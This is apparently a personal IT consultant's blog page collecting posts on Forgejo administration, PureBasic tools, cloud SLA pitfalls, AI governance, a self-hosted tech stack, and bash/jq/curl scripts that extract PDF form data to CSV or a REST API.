blog.jakobs.systems

New c't publication: Reading PDF Forms

Tomas Jakobs — Fri, 23 Jan 2026 06:55:32 +0100

A new publication written by me has been published in today’s c’t 3/2026.¹ It shows step-by-step how data from PDF forms can be automatically extracted using the open source tool pdfcpu and subsequently imported back into ERP or ticket systems using jq or curl.

Completely without media breaks, proprietary software or subscriptions. By the way, the editable PDF forms are created with LibreOffice. The proprietary Microsoft Office still cannot create PDF forms by 2026.

This is how I automate my own workflows, for example for IT declarations of self-compliance as part of supplier assessments according to ISO 27001 or TISAX.

Buy the latest c’t, read it, and try it out!

Yours,
Tomas Jakobs

https://www.heise.de/select/ct/2026/3/2532107440985860356 ↩︎

Forgejo Update-Script on codeberg.org

Tomas Jakobs — Sat, 17 Jan 2026 11:30:07 +0100

In case you need a shell script or Ansible playbook to update your own Forgejo instance, I’ve just uploaded mine to Codeberg.¹

The specific reason: There have been a series of updates in quick succession over the past days.² I noticed some people expressing frustration about having to redo all their updates all over again.

This is exactly what automation is for: A clearly defined, reproducible update process saves time, reduces errors and ensures a more relaxed approach. And Forgejo, with its single-file binary, couldn’t be easier to deal with.

The script and playbook are freely available and can be used as a basis or inspiration for your individual customizations.

Best regards,
Tomas Jakobs

Why not every problem needs a framework

Tomas Jakobs — Thu, 15 Jan 2026 10:30:09 +0100

Back in the late 80s and early 90s, you still had to dive deep into the hardware to get decent software. This meant checking hardware-related register values to get mouse coordinates via interrupt 33h, for example. ¹ Or write inline assembler within Turbo Pascal procedures or PowerBASIC functions. Those were the programming languages I grew up with. Later, others came along, but I never really got used to them. I am a “BASIC guy” as I write in my README on Codeberg.²

Today, these kinds of things are abstracted away by operating systems and powerful frameworks. That’s a good thing. It really saves you a lot of work. On the other hand, it comes with downsides that you wouldn’t have without this kind of abstraction. For small, precise tools that require deterministic and robust behaviour, it’s usually not helpful. Especially if the software is supposed to be “grown-up” software.³

If you think I reject modern frameworks and concepts, you are mistaken: I am just as much a fan of Python or a Django web framework. My point is that nowadays it is more important than ever to master tools beyond the mainstream.

Tools that stay close to the compiler and generate cross-platform, small and native single-file binaries, with or without a GUI. Modern languages such as Rust or Go have only limited capabilities in this regard. A recent and worthwhile article, “Why PureBasic Is Potentially the Last Surviving Cross-Platform Systems GUI Language” explains why.⁴

Screenshot of the PureBasic editor on Linux

For me, this is essential, for example, to create customised pentesting tools that deliberately “throw” incorrect content lengths of HTTP requests against an API. To deal with NTFS filestreams or to stay “under the radar” from common antivirus and EDR software. I have every right to rant about this snake oil. My ‘clipboard auditor’ for extracting login details has not been detected anywhere for decades.⁵

The use of FreeBASIC, PureBasic or Lazarus/FreePascal is a conscious decision after scope or specifications have been set. For tasks where clarity, control, determinism and longevity are crucial. No ideological vendor talk or ‘we use a hammer for everything’ approach.

Screenshot of the Lazarus/Freepascal editor on Linux

If you look at today’s industrial landscapes, you will discover RS232 interfaces, VisualBasic in Siemens PLC systems, PGs from retro times and modern control PCs that are slightly better. Starting a web browser often pushes these to their memory and performance limits.

Siemens PLC S5 PG from the 1990s, still in use today

If you have challenges that seem unsolvable, feel free to contact me.

Best regards,
Tomas Jakobs

PureBasic v6.3 came out yesterday

Tomas Jakobs — Tue, 13 Jan 2026 00:10:00 +0100

PureBasic v6.3 came out yesterday.¹ A real good occasion to recompile my projects based on it and make them more visible. Especially in times of heavyweight frameworks, these tools show that functional software can be done differently: single binaries with native performance, extremely small, transparent and easy to maintain.

A self-hosted aviation weather planner with DWD ICON-D2 data, which processes raw data on the server side and delivers it as a lean web application. ² The front end and web server do not require external services or frameworks, including OSM caching, reverse proxy and kiosk mode for permanently operated POI/POS information systems that can be used offline aswell.
A compact CLI tool for QR and barcode recognition that uses USB webcams or RTSP streams and replaces specialised, significantly more expensive scanner hardware.³ Barcodes are reliably recognised even from a distance of several metres. With virtual keyboard, script hooks and targeted code selection for maximum performance. Robust and easy to maintain in industrial operations.
A production-ready REST API server, fully RFC-compliant, multi-threaded, TLS and BasicAuth capable without dependence on external runtimes or frameworks.⁴ Cross-platform capable as a systemd service under Linux or as a native Windows service (SCM), modularly structured and customisable. I have published the skeleton as a template for all possible use cases.

Further details can be found in the respective repositories and changelogs on Codeberg. Purebasic is my “secret weapon” for lean, high-performance and system-oriented tools.

Have fun!
Tomas Jakobs

Why SLAs Are Often Little More Than Marketing

Tomas Jakobs — Tue, 09 Dec 2025 19:50:00 +0100

As a follow-up to my blog “What Really Measures IT Success”, today I am writing about a related topic.¹ It deals with the promises made by cloud and service providers and how they entice customers with availability figures beyond 99%.

Anexia/Netcup, the infrastructure provider where I operate, among other things, my mail server, VPN gateway, and a few other hosts, states an availability of 99.6% on its website.² That means a theoretical downtime of up to 40 minutes per week or up to 35 hours per year.

Microsoft Azure, for example, cites 99.95% or 99.99% as a benchmark for enterprise availability.³ In purely mathematical terms, this would correspond to a maximum of just one minute of downtime per week or up to 53 minutes in an entire year. Impressive at first glance.

As often, the issue lies elsewhere, not in the technology.

SLA Tricks and Fine Print

For most providers, availability is measured based on many individual SLAs (Service Level Agreements).⁴ The availability of a virtual machine is completely separate from the availability of storage, authentication, or a reverse or load-balancing proxy.⁵

Sounds complicated, doesn’t it? From many projects I know that this fine-grained separation can become a stumbling block. At the same time, there is a shift away from technical matters toward legal subtleties with their own rules. Understanding this has become an industry of its own.⁶

Points That Deserve a Closer Look

Here is an overview of some well-known industry patterns. They do not apply to all providers and are not meant as universally valid statements. As always: no claim to completeness. Your mileage may vary.

SLAs only take effect after a support ticket has been submitted. The 10 to 15 minutes often needed beforehand to receive, verify, and formulate a ticket are simply ignored. If external service providers and additional partners are involved, hours can pass before a ticket is actually created.
Short-notice “planned” maintenance windows are not counted as downtime in many SLAs and effectively serve as a free pass for providers. Whether an outage or “planned” maintenance: For customers, the system is unavailable.
Short outages, for example those lasting less than five minutes, are contractually excluded by many providers. Unfortunately, 15 outages of four minutes each still add up to a full working hour by the end of the month that goes unaccounted for.
Multiple outages with a common root cause are grouped into a single event. Three outages lasting 10, 20, and 30 minutes respectively become one single event with only 30 minutes of total downtime after resolution, instead of the actual 60 minutes.
Different monitoring measurement points: service providers often measure availability only internally at an API, not at the actual service. For example, if high latencies make a service unusable, this is often not captured.
Complex proof requirements and reporting procedures. Customers must document outages themselves and comply with standardized reporting channels. For non-technical users, this is often barely manageable. Complexity and frequent changes to the process are sometimes intentional.
SLAs are always evaluated monthly, not annually. “Bad” months are quietly and effectively averaged out.
Local or regional outages do not count if other regions of the provider continue to operate. Economically this is still painful for the customer, but formally there is no SLA violation.
SLAs only apply when using the “correct architecture” or booking certain services. Microsoft Azure, for example, only grants 99.99% availability if Azure is used the way Azure wants it to be used, with availability groups, zones, multiple instances, and much more. Many are not aware of this at the beginning. Later on, some deliberately choose a different approach for cost reasons.
Architectural complexity becomes mandatory. The operational risk always remains with the customer. This allows for flexible interpretations when dependencies interlock. A brief hiccup in a critical service can still cause side effects and outages hours later. These ripple effects understandably do not appear in the SLAs of cloud providers.⁷

The Elephant in the Room is More a Cash Cow

It is not that high availability is inherently more expensive. Redundancy does, however, significantly increase data traffic for forwarding, replication, or distributed backups.

On closer inspection, the supposed elephant in the room turns out to be a well-protected cash cow:⁸ Providers charge aggressively internal traffic as soon as someone is stuck in vendor lock-in.⁹ Infrastructures or central applications are not changed every few years. This is where customers are most locked in and least likely to change.

At this point, many cost-effectiveness calculations fail.

Conclusion

SLAs rarely protect the customer; they primarily protect the provider. The rest is pure marketing. They are only of limited use for fact-based statements about actual availability or real costs.

Companies are withdrawing from public cloud infrastructures. This trend is called repatriation. According to an IDC report from 2024, large enterprises in particular are increasingly bringing workloads back into their own server rooms and data centers.¹⁰ The golden cloud-native days are over, according to a recent Heise analysis.¹¹ Add to this the current geopolitical situation.¹²

This does not mean that cloud solutions are inherently bad or uneconomical. As so often, it depends on the individual case.

In 2019, I had the opportunity to analyze this for a mid-sized construction company with five locations. The question at the time was whether the new DocuWare document management system should be operated in the cloud or in the company’s own server room.

Even with conservative assumptions about price developments, based solely on inflation adjustment, the analysis showed a clear result: operating the system in-house was more economical over a ten-year period. This included building a second server room with air conditioning, redundant hardware, and infrastructure. The cost driver then, as now, was internal traffic, which the cloud provider charged for operations, replication, and backups.

Do you have projects or ideas for the new year?
I would be happy to support you.

Yours,
Tomas Jakobs

MS Flight Simulator - best on Linux

Tomas Jakobs — Tue, 02 Dec 2025 17:30:21 +0100

At the end of October I switched my gaming machine from Win10 to Linux.¹ Not without some 2nd thoughts how the games would perform. This weekend it was finally time to tackle the supposedly toughest one: The Microsoft Flight Simulator.

It is likely Microsoft’s flagship product, significantly older than Windows.² After 43 years, it remains one of Microsoft’s oldest continuously supported software products. That definitely won’t run on Linux I thought. How wrong I was. The images speak for themselves:

This afternoon I have made a virtual trip within the EDLW CTR

Crosswind landing on Runway 24 in EDLW Dortmund-Holzwickede

Even my virtual logbook was imported

Microsoft Flight Simulator on Linux works very well

The long winter evenings can come. If only Microsoft knew how smoothly their flagship product runs on Linux. Including Saitek pedals and SideWinder2 ForceFeedback, Azure photogrammetry,³ live weather and other online players. I only still need to work on the fs2ff bridge⁴ to integrate it into Enroute, which I also use in real flights.⁵

Yours,
Tomas Jakobs

When AI Meets a Crumbling Foundation

Tomas Jakobs — Wed, 26 Nov 2025 15:24:25 +0100

For many, AI is the great promise for salvation. More efficiency, more ease, more future. Everyone is talking about it, so it must be true. And so many are jumping on the bandwagon, which, from the external perspective, appears to be a big party.My impression is that the discussion in medium-sized companies tends to focus more on opportunities and less on realities. There is a lack of honest assessment of the situation. And by that I don’t just mean the technology, but above all the non-technical governance.

What is governance and why do many people struggle with it?

In the context of an information security management system (ISMS), governance refers to the overarching framework of policies, responsibilities, processes and control mechanisms that ensures that information security is systematically planned, implemented, monitored and continuously improved.¹ If an ISMS is the tactic, then governance is the greater strategy.

Many companies today do not even have governance for classic, completely deterministic systems. In other words, systems whose behaviour should theoretically be completely predictable and controllable.

How did I come to this conclusion? A brief look at Bitkom’s figures on security incidents is convincing: 262 billion euros in total damage to the German economy, of which over 22 billion occurred last year. ² Every day, typical Windows-centric corporate networks based on the well-known triad of Windows, Office and AD are literally ‘switched off’. Many of them have specialist staff, risk assessments, IT guidelines, certificates and audits, as well as established ISMS structures. Quite obviously all in vain.

Quick self-test: If you have to answer ‘no’ to one or more of the following questions, you should definitely read on:

You have a complete overview of all installed software, including dependencies and individual libraries.
You receive a notification when an unknown device appears.
You have no shadow IT in the form of private end devices.
You receive an immediate warning when a specific EventID is triggered, e.g. when users or logs are deleted.
You can track down which contractor worked remotely between 8 and 9 a.m. six months ago on which of your systems and name him by name in just a few minutes.³

It’s great to have you on board.
Now we’re really getting started.

Non-deterministic AI on top

What characterises a non-deterministic system?

Two identical inputs can produce different outputs.
Errors do not arise from fixed rules or code, but from probability distributions.
Security gaps arise as a by-product of model behaviour.
Reproducibility and auditability are limited or impossible.

So we barely have deterministic systems under control, and now we’re adding non-deterministic AI on top of that. A system whose behaviour changes depending on input, context, questioner or relative moon humidity.

That’s not courageous.
It’s not modern either.
It’s negligent.

A quote from Eva Wolfangel for a little hope, source: https://media.ccc.de/v/god2025-56472-keynote-code-dark-age#t=2162

The governance gap

The central structural gap in all areas where AI is currently being experimented with arises precisely here. At best, we have the knowledge, methods and tools for classic, deterministic systems. But what we need are approaches for non-deterministic systems.

What are AI manufacturers and sellers offering us apart from an input slot for an LLM or ready-made results? Not much, according to the BSI white paper:⁴

Little transparency about source code, model architecture or training data
Few mechanisms to limit model behaviour or AI bias
Diffusion of responsibility in the event of defects or wrong decisions

What remains are international reference standards from the OECD and the EU AI Act, which is binding since 2024 and is likely to be known to very few people. Companies are already required to document risk assessments and the AI competence of their employees.

At least the Heise Academy offers a webinar on responsible AI governance.

Conclusion

We manage modern systems that we dont fully understand with tools that belong to a different era. AI isnt the problem here. The lack of governance is.

Before companies unleash AI agents on customers, employees or internal processes, using Vibe Code⁵ to create products, they need:

Clean IT and security as a foundation
Not as a side issue, but as a non-negotiable basic requirement.
A governance model for AI
With the risk assessment and proof of employee competence already required by law, as well as documentation of traceability, clear boundaries and responsibilities.
Mandatory labelling of AI results and products
So that it remains clear where AI is involved. The aforementioned EU AI Act is limited to images. In the IT context, source codes or documentation would be more interesting.

When Microsoft CEO Satya Nadella claims that 30% of code is already AI-generated,⁶ this has implications for software quality.⁷

At the moment, many are loudly celebrating on a fast-moving train. It is unclear where the journey is headed and when the next stop will be. The digital future of entire companies is currently being built on rubble.

The few examples I personally know of where AI models are used had to be readjusted afterwards at great effort and expense. MIT estimates that 95% of all AI projects fail due to a ‘weak foundation’. ⁸

The issue is rarely the algorithm. The real problem is the weak foundations beneath them: untrusted data, identity systems that aren’t secure and infrastructure that cannot meet new demands. Without these basics, projects collapse before they create value.

I couldn’t explain it better.

Yours,
Tomas Jakobs

Customizing Forgejo

Tomas Jakobs — Mon, 17 Nov 2025 15:10:18 +0100

More than five years have passed since my last blog series on Gitea.¹ In the meantime, Gitea has gained a more powerful fork in Forgejo,² which has long been part of my daily workflow. Having recently shut down my Gitea instance running as a jail on TrueNAS,³ I will outline how I have adapted a Forgejo instance to my specific needs.

A brief note for context: For simplicity I refer only to Forgejo. I am well aware that many aspects of Forgejo and Gitea remain identical (for now). Yet it should be clear that since Forgejo version 10, it has ceased to be a soft fork.⁴ In the long run the two projects will diverge.

The Underlying Concept

Forgejo follows a clear design philosophy. Many features that I previously managed in Gitea only through CSS or JavaScript hacks, such as Mermaid integration⁵ or an offline CSP,⁶ are now built in.

Everything that deviates from the defaults is placed—independently of the Go single binary into the custom subdirectory of the WORK_PATH at /var/lib/forgejo/custom. This significantly simplifies updates without requiring any recompilation. Another advantage: the contents of the custom directory can themselves be fully placed under version control in a Git repository.

Anyone familiar with the static site generator Hugo⁷ will recognise the TOML⁸ templates and Go-style scripting. The concept of combining multiple templates and page components into a final rendered website is almost identica and reminds me to the Server Side Includes (SSI) used 30 years ago.⁹

The APP.INI as the First Layer

Forgejo provides numerous toggles in the APP.INI that are sufficient for basic UI customisation. Replacing logos, adjusting links, altering registration options, everything is well documented.¹⁰

Things become more interesting once you want to go beyond what APP.INI can configure: For instance creating a completely blank landing page, a footer containing only legal information and language selection or custom logos and themes in full corporate design without visible Forgejo self-branding.

The Custom and Public Directories as the Second Layer

Upon startup, Forgejo automatically loads all templates in the custom directory and uses them to override its defaults. This provides far greater flexibility than the fixed settings of APP.INI.

A special role is played by the custom/public directory. This is the area for static files that Forgejo serves just like a web server would. All images, CSS, JavaScript files, as well as the SECURITY.TXT¹¹ or the RFC 8615 .well-known directory¹² belong here unless handled earlier by a reverse proxy.

The /custom/templates directory is where it becomes truly interesting. Here reside the TOML templates that govern the entire UI. Depending on subdirectory and filename, you can override specific views.¹³

Example

Though I publish some of my projects on Codeberg,¹⁴ the majority of them still reside on my protected private instance.¹⁵ This instance should be as minimalistic as possible without the Forgejo hero banner or the self-promotion on the landing page:

This can be achieved with a proper home.tmpl file in the custom subdirectory, in which I only render the header and footer:

{{template "base/head" .}}
{{template "base/footer" .}}

I also wanted the footer without technical details such as load time, version number, or a Swagger API link, but instead containing a link to my own legal notice. This is achieved with the footer_content.tmpl file located in the templates/base subdirectory. Crucially, you must retain the identical CSS classes, conditional placeholders, and language settings. In my case, I took the standard template from the Forgejo Codeberg repository, removed the licence and Swagger API links, and placed the modified version in my custom directory.¹⁶

Conclusion

For me Forgejo is an indispensable component of any software development, documentation or operational automation environment. The use of Git is a central heuristic of digital transformation.¹⁷

And yet, even in 2025, there remain alarmingly many, who attempt to undertake software or digitalisation projects without any form of version control.

Yours,
Tomas Jakobs

Detachment

Tomas Jakobs — Thu, 13 Nov 2025 14:55:00 +0100

Crisis meeting with a managing director and his accountant “watchdog”. We are in his meeting room, his territory in a mid-sized company. The situation is tense, facts no longer matter. My counterpart’s decision-making style has long been shaped by a lack of governance. As in a close-quarter firefight, the tone becomes louder, more forceful. Not out of clarity or determination, but clearly with the intention to dominate. All signs are set to escalation.

I lean back. Consciously change my sitting posture. Lift my gaze from the table. Take a noticeably deep breath. A mental step back, not away. That sometimes confuses people, appears arrogant because one seems to be somewhere else and no longer emotionally resonating. Some may interprete this as weakness, others as power-play.

For many years, I had no name for this ability that had matured in me. I simply couldn’t put the situation, the feeling into words. Until a few years ago when I read Jocko Willink’s book “Leadership Strategy and Tactics”¹ and practically absorbed it.² One of the few books I have read multiple times and also presented here on the blog.³

It was this subsequent key scene in the book, the simulated clearing operation by the SEAL elite unit on an oil rig, that made the proverbial penny drop for Willink and for me:

As we were moving through the structure, the whole platoon entered an area of the rig and became overwhelmed with what was in front of them. It was a large level of the platform […], which created numerous hiding areas for enemy personnel and presented a complex tactical problem. The whole platoon stood there, side by side, looking down the sights of our weapons at the potential enemy threats, like an old-fashioned skirmish line. I stood there like the rest of the platoon, scanning for targets and trying to identify dangerous high-pressure or flammable areas while I waited for a call to be made directing us on our next move.

I waited a little longer. […] I waited even longer. Still nothing. Out of my peripheral vision, I saw the guys to my left and right, all doing the same thing I was: Holding their weapons in the ready position, scanning for targets and waiting for the call. […] Finally I had enough. I elevated my weapon into “high-port” position, meaning I pointed it in a safe position toward the sky away from the threats. Then I took a half step back off the firing line and looked to my left and to my right. It was plain to see: every person […] was pointing his weapon toward the threat. But no one was looking anywhere else. They could only see the field of view down the sights of their weapons. No one else had situational awareness of anything else going on. […] I could see the entire deck, all its obstacles and the simplest way to clear it.

By stepping back, I had detached myself mentally and physically from the immediate problem, and now it was easy for me to see the solution. […] “Hold left, move right” I barked in as authoritative voice. […]

As they executed the movement, I realized something very powerful. By high-porting my weapon, stepping back off the firing line and looking around, by detaching physically even if only by a few inches, and more important, detaching mentally from the problem at hand, I was able to see infinitely more than anyone else in my platoon.

Jocko Willink’s description of detachment blew me away instantly. I finally had the words for something I had intuitively practiced but had never been able to properly describe for myself or others.

Detachment is a movement in space and in the mind.
Detachment means first controlling your own mind, not the situation.
Detachment means freeing yourself from the vortex so you can lead others out.
Detachment determines who can leverage their tactical advantage in an opaque situation.

It is at this very moment where sovereign leadership starts. Not in reacting, but in clearly deciding and resolving difficult to critical situations.

Yours,
Tomas Jakobs

https://en.wikipedia.org/wiki/Jocko_Willink ↩︎
Leadership Strategy and Tactics, Pan Macmillan, ISBN 978-1529-032970 ↩︎
https://blog.jakobs.systems/micro/20220610-vom-scheitern/ ↩︎

Microsoft Disables Explorer Preview (Almost)

Tomas Jakobs — Mon, 27 Oct 2025 08:50:00 +0100

Since October 14th, 2025, Microsoft has disabled previews in Windows File Explorer, for at least all downloaded files from the Internet and stored on network shares.¹ Attackers could capture NTLM hashes simply by viewing the preview.

I had to smile. It’s as if Microsoft had read my blog post “Why Every Windows AD Should Be Kept Offline” earlier this month,² where I discussed exactly this kind of NTLM leakage.

Of course, it’s generally better when digital processes don’t rely on handling loose files - not from the internet, not from any network share. For years I’ve recommended completely disabling the preview function via the appropriate Group Policies (GPO). That’s always been a topic of debate among users, admins, and decision-makers.

Once again, it’s typical Microsoft patchwork.
A maximally harmful, yet ineffective measure:

The conflict with users is inevitable.
The admins have to clean up the mess.
The actual problem remains unsolved.

Bravo!

Yours,
Tomas Jakobs

Meet me @ 39C3 in Hamburg

Tomas Jakobs — Thu, 23 Oct 2025 09:04:43 +0200

At the end of 2025, there will be a small highlight and educational holiday: the 39th Chaos Communication Congress (39C3) in Hamburg.¹ From 27th to 30th December, you can find me at the CCH in Hamburg.

Looking forward,
Yours,
Tomas Jakobs

https://events.ccc.de/congress/2025/infos/index.html ↩︎

My Open-Source Tech Stack

Tomas Jakobs — Wed, 22 Oct 2025 12:29:00 +0200

Some time ago, in my post “From Mistrel to Heretic”,¹ I wrote about my journey to digital independence. I received several questions about my tech stack afterwards. A fair question I’m happy and willing to answer:

I rely on free solutions with GNU/Linux Debian² as foundation. Stable³ runs on servers and critical systems, while unstable or “sid” powers my daily drivers. For me, the ideal balance between robustness and up-to-date software.

Used Hardware

In general, I buy all my hardware, except harddrives and displays, second-hand. This isn’t just about sustainability. It’s about pragmatism and standardization aswell.

My current daily driver, a ThinkPad T480, has been with me for about five years now. Back then, I bought it for around 400,- Euro. A fraction of its original price. Today, it goes for about 180,- Euro and still runs reliably and efficiently with GNU/Linux for years to come.

I see hardware as a consumable tool. It may have scratches, fall down, or break. A replacement device sits ready-to-go behind me in the shelf. You wouldn’t do that with high-priced machines.

Unlike proprietary systems with their odd license keys and activation requirements, a hardware swap in my setup is completely hassle-free: Just swap the drive or deploy an image and go.

All essential data is redundantly stored within my own infrastructure.

My Own Infrastructure

I don’t just preach that companies should operate their own infrastructure. I live that principle. Lead by example,⁴ or as it’s called in the software world, dogfooding.⁵

My work hub consists of a self-hosted Nextcloud⁶ managing appointments, contacts, tasks, and loose files.

It’s complemented by a Forgejo⁷ Git server and several virtual machines on a Proxmox hypervisor.⁸ I’ve already described the development of this architecture in an earlier blog post.⁹

Through a reverse VPN, the individual hosts in my home office are connected to a rented root server at an ISP, making them publicly accessible (e.g. cloud.jakobs.systems). It’s called reverse VPN because the servers themselves initiate the connection to the reverse proxy¹⁰ not the clients.

Only my GNU/Linux mail server and my video conferencing server (running BigBlueButton¹¹) are hosted externally on additional rented root servers. Naturally, they’re located in Germany, operated by an European ISP.

For network security, I use ipfire.org¹² as a firewall and segmentation gateway. It runs Suricata¹³ as IDS/IPS¹⁴ and Monit¹⁵ for certificate monitoring.¹⁶ Everything sits in a dedicated network segment behind a FritzBox that provides Wi-Fi for the rest of the family.

A dedicated host handles remote logging and monitoring using rsyslog¹⁷ and Prometheus¹⁸. My Grafana dashboards are already introduced in an earlier blog post.¹⁹

Video Conferencing

Video conferences and “live sessions” have been part of my daily routine long before the COVID lockdowns. Sometimes I get feedback like:

Mr. Jakobs, why do your video conferences always look so professional?

Which tells me I’m not doing this entirely wrong. I usually reply diplomatically with “No idea.” I value good lighting and a quality headset. Two simple LED studio lamps provide solid illumination. For audio, I rely on an Arctis Pro Wireless,²⁰ with a hardware mute button right on the headset.

I’ve been working remotely since the mid-2000s. Even back then, I experimented with multiple cameras, as shown in this 2007 shot of my workspace (notice the black spheres on the monitors):

Even then, I strictly separated a dedicated conference PC from my mobile daily driver. It’s a principle I’ve stayed loyal to. Comparing the images, the fundamental layout and structure haven’t changed that much.

What has changed dramatically over the past 18 years is my video and streaming tech stack:

OBS Studio for directing and scene management
Streamdeck for scene switching
Owncast for live streaming

OBS Studio²¹ forms the core of my video conferencing setup. I’ve prepared multiple scenes there (e.g. “Welcome” or “Break”). Using retro filters, I deliberately introduce distortions so no one thinks the video feed is frozen. Scene switching is handled by a Streamdeck, whose programmable buttons I configure with the free StreamController software.²²

For presentations, I sometimes use a generic HDMI splitter and an Elgato CamLink USB adapter, which feeds any HDMI source into my OBS.

For live streaming directly on my blog,²³ I use the open-source software Owncast,²⁴ which I customized for my needs. During the COVID lockdowns, I hosted numerous “live sessions” this way.²⁵

Conclusion

My home office isn’t “off the shelf.” It’s pragmatic, integrated, robust, and has evolved over decades. Much of it is automated with minimal administrative overhead. Everything I use, I do understand, I can modify and if necessary, I can replace or repair myself.

This is true luxury and real freedom in an increasingly closed digital world full of dependencies, planned obsolescence,²⁶ and a lack of flexibility.

I’m convinced that what I can do isn’t special and every company should be able to do the same.

Feel free to reach out.
I’m always happy to help.

Best regards,
Tomas Jakobs

Update

There are still people who feel obligated telling me that the printer is from HP, the Sidewinder Force Feedback is from Microsoft, and there is a Macbook Pro in sight.

Yes, the picture does indeed show hardware from different manufacturers, gathered over several decades. Anyone who only looks for logos has obviously overlooked or misunderstood the content.

Automatically Reading PDF Forms

Tomas Jakobs — Sat, 11 Oct 2025 21:00:00 +0200

The Portable Document Format (PDF)¹ is a great example of how an originally brilliant concept for displaying print documents has been ruined over decades. Initially conceived as successor to PostScript,² it has degenerated into a universal container format. Text, images, vectors, scripts, fonts, form data, even complete 3D models there’s hardly anything, that can’t end up in a PDF, including Doom.³

The PDF Pseudo-Standard

In practice this means: Hardly any two PDFs are alike. A single piece of information can be packaged in a dozen different ways, depending on which program was used to create it.⁴ And we haven’t even gotten to the topic of signatures yet.⁵

At least there are ISO standards for long-term archiving, such as PDF/A.⁶ That provides at least some structure and serves as a reference for all systems and viewers so nobody is forced to use Adobe products, the company behind the infamous Acrobat Reader.⁷

It may sound confusing: PDF is the worst possible exchange format and yet at the same time it’s the best, because it’s universal and can be used anywhere.

PDF Forms - Do it Right!

People keep sending me PDFs I’m supposed to fill out. However, only a few of them are actually fillable within a browser or PDF viewer. Am I really supposed to print them out, fill them in by hand, scan them and send them back? Or sketch something freely into the PDF with my mouse? Situations like that make me want to scream:

Create fillable PDF forms, not PDFs that just look like forms!

One possible explanation: Many of these “professional” documents come from Microsoft Office, which in the year 2025 still cannot create fillable PDF forms.⁸

If you want to use PDF forms in your processes, please use LibreOffice instead.⁹ I don’t recommend LibreOffice because it’s particularly great, but because it’s an available and, most importantly, working solution. With a few pitfalls you should know.

The PDF forms created in this way can be filled out and returned on all common systems, viewers, and browsers. Without any proprietary subscription-based software including vendor lock-in.¹⁰

Creating a PDF form in LibreOffice, with the finished PDF shown in a viewer on the right

What’s Next?

How to create PDF forms in LibreOffice is not the topic of this post. I want to focus on what happens afterwards when the filled out and returned forms start piling up in a folder. This is where the real magic starts and the whole tragedy unfolds aswell.

Instead of automatically processing the already structured form data, the following happens: PDFs end up in nested (SMB) folder structures or worse, in Outlook/ Exchange mailboxes. Lost forever. If at all, transfer of information happens only manually.

That’s probably the real reason why many office workers have two displays: On the left a PDF with its contents. On the right the ERP system, where the information is typed in manually. Or the nicely structured PDF is drag and dropped from left to right as unstructured BLOB¹¹. Classic style with a paperclip icon. Digitalization straight from Absurdistan.

Extracting Information from PDF Forms

Below I’ll describe my own process for automatically processing data from PDF forms using a bit of Bash and free software. As always, without claiming completeness or universality: Your mileage may vary.

I try to keep the dependency list for all my technical stacks as short and as simple: pdfcpu,¹² jq,¹³ and curl.¹⁴ While pdfcpu has to be installed manually from its Git repository, the other two are included in the standard repositories of most GNU/Linux distributions.

Left: the view of the filled PDF form. Right: the data pdfcpu extracts from the form fields

The compact Go-Binary pdfcpu extracts PDF form data into a structured JSON file.¹⁵ This intermediate format is then processed further on with jq. Two common scenarios:

Exporting to a CSV File

The following snippet shows how to generate a CSV file for further processing from a set of .json files in a folder. The form field names correspond to those in my previously created PDF. For simplicity, the yes/no option fields are represented by numbers.

OUT_FILE="./exportfile.csv"

for f in *.json; do
 jq -r '
 (.forms[0] // {}) as $f
 | (($f.textfield // []) + ($f.datefield // []) + ($f.radiobuttongroup // []))
 | map({key:.name, value:(.value // "")}) | from_entries
 | [.Datum, .Firma, .Funktion, .Unterschrift, .Email, .Rufnummer,
 .["1"], .["2"], .["3"], .["4"], .["5"], .["6"], .["7"]]
 | @csv
 ' "$f" >> "$OUT_FILE"
done

Often CSV files still represent the only way of data exchange between systems. Mostly in Combination with another absurdity: Storing them on SMB network shares across intentionally separated VLAN security zones. A nightmare for operations and information security aswell.

Interaction of pdfcpu and jq using a PDF form

Sending to a REST API

A much more modern approach is, of course, data exchange via a REST API.¹⁶ For older applications that don’t have one, you can take a peek at my REST API skeleton and adapt it. That at least helps to ease some of the operational pain around SMB shares and security.¹⁷

The following snippet shows how to use jq to retrieve the collected contents of many PDF forms in a directory and send them to a REST API using curl:

API_URL="https://any-rest.api"
API_TOKEN="**SECURITY-TOKEN***"

for f in *.json; do
 PAYLOAD="$(jq -c '
 (.forms[0] // {}) as $f
 | (($f.textfield // []) + ($f.datefield // []) + ($f.radiobuttongroup // []))
 | map({key:.name, value:(.value // "")}) | from_entries
 | {
 datum: .Datum,
 firma: .Firma,
 funktion: .Funktion,
 unterschrift: .Unterschrift,
 email: .Email,
 rufnummer: .Rufnummer,
 antworten: {
 "1": .["1"], "2": .["2"], "3": .["3"], "4": .["4"],
 "5": .["5"], "6": .["6"], "7": .["7"]
 },
 }
 ' "$f")"

 HTTP_CODE="$(
 curl -sS -o "$(mktemp /tmp/XXXXXX.json)" -w '%{HTTP_CODE}' \
 -X POST "$API_URL" \
 -H "Authorization: Bearer $API_TOKEN" \
 -H "Content-Type: application/json" \
 --data-raw "$PAYLOAD"
 )"
done

Conclusion

With this post I wanted to show how processing of filled PDF forms can look like. The snippets are intentionally just rough sketches but pointing in the right direction. For real-world production use of course a few more details are required, details that Copilot and ChatGPT of course don’t provide.

I’m happy to offer my expertise wherever digitization should be sustainable, automated, and - above all - independent of proprietary and costly solutions.

Or, to put it more provocatively: Anyone who uses PDF forms without automating their further processing is actively preventing digitalization.

With that said,
Yours,
Tomas Jakobs

What to do when Microsoft threatens with EOL?

Tomas Jakobs — Tue, 07 Oct 2025 17:50:47 +0200

Simple: Install Linux!

Okay, that might sound too blunt, Tomas, but it’s true: The last bare-metal Windows installation in the household, my dedicated “gaming machine”, has recently been reinstalled with GNU/Linux Debian. Microsoft’s passive-aggressive Windows 10 EOL threat doesn’t work on me, or at least not in intended way.

I was surprised to find out that Steam games not only just run but also have a approx 10–15% speed bump. And that’s on my old nVidia 1070. Impressive!

So I no longer can claim: Windows is only good for gaming.

With that in mind,
Tomas Jakobs

Why Every Windows AD Should Be Kept Offline

Tomas Jakobs — Sun, 05 Oct 2025 06:00:00 +0200

Not only since my seven security tips¹ have I been getting questions about why I prefer to keep Windows and an Active Directory² offline. That may sound inflexible, and in an era of AI-generated cybersecurity slop³ I may look like an outsider.

So in today’s blog post I provide more context, explain the technical background, and lay out how ransomware works. Finally, I show how an AD operated offline can still be used with the internet and email as usual.

Contextualization

Firstly a few words for better orientation with statements most will agree with:

A single technical measure is rarely the solution to a larger, complex problem.
All technical measures inherently have flaws and add complexity, which increases risks and the attack surface.

